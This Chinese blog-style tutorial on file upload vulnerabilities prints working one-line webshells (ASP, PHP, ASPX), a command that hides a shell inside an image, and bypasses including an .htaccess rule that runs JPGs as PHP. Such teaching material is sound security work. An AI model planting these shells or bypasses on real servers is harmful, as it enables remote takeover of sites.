文件上传漏洞原理
Web 应用程序通常会有上传的功能,只要Web应用程序允许上传文件就有可能存在文件上传漏洞
文件上传与SQL注入比较可能危害要更大,如果网站存在文件上传漏洞,攻击者可以直接传一个Webshell到服务器。
一句话马原理
1、一句话马服务端
本地储存的脚本木马文件是我们用来上传的恶意代码到网站服务器执行权限的
该语句触发后可以接收攻击者通过客户端提交的数据并执行相应操作
2、一句话马客户端
远程服务器被插上一句话马执行文件,用来向服务端提交控制的数据,提交的数据被构造成完整的语句并被执行
一句话马短小精悍,便于隐藏,常见的有
asp,php,aspx
asp:<%execute(request("value"))%>
php:<?php @eval($_POST[value]);?>
aspx:<%@ Page Language="Jscript"%><%eval(Request.ltem["value"])%>
还有很多的变形........
图片马制作
copy 1.jpg/b+1.php/a out.jpg
一句话马被插入图片中,并且不会影响到图片的质量,进一步隐藏
/b 表示二进制
/a 表示ASCII

Webshell管理工具
常用的有菜刀,蚁剑,冰蝎
可以支持多种语言,常见的包含ASP,ASPX,PHP,JSP,CFM
1、JS 绕过文件上传
JS验证用于客户端本地的验证,所以如果上传了一个不正确格式的文件,它可以很快的做出判断文件类型
当然JS的验证是形同虚设的,我们完全可以禁用JS来绕过
。。
2、MIME 绕过文件上传
多用于互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式
也就是说服务器会判断你上传的是什么文件
可以通过抓取数据包手动修改Content-Type类型来绕过
。。
3、文件扩展名绕过
文件扩展名一般通过客户端的黑名单来限制上传的文件类型
。。
一、大小写绕过
顾名思义,就是后缀大小写
需要注意的是,Windows和Linux是不一样的,Windows不区分大小写,LInux下这可能就是两个文件了
二、点,空格绕过文件上传
文件后缀加上点,空格进行绕过,因为系统默认不支持点和空格,会自动删除多余的点和空格
因此可以利用这一点尝试欺骗服务器验证
比如‘.php空格 会自动解析成 .php,.php.空格. , .php. 也都是一样的’
三、htaccess文件绕过
分布式配置文件(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
简单来说,这个文件是Apache的一个配置文件,负责相关目录下的网页配置
主要功能有:301重定向,404错误,改变文件扩展名,禁止目录列表,允许/阻止特定用户访问
我们在上传文件以后就可以利用改变扩展名的方式执行文件
AddType application/x-httpd-php .jpg
这句话的意思就是将所有同目录下的jpg文件解析成php,可想而知我们的目的就达成了
本文详细介绍了文件上传漏洞的原理,包括一句话马的客户端和服务端,以及如何制作图片马进行隐蔽。同时,讨论了绕过文件上传验证的常见方法,如JS验证、MIME类型绕过和文件扩展名技巧。此外,提到了Webshell管理工具如菜刀、蚁剑和冰蝎,并阐述了如何利用.htaccess文件执行文件。最后,文章强调了文件上传漏洞的危害及防范措施的重要性。
3852

被折叠的 条评论
为什么被折叠?



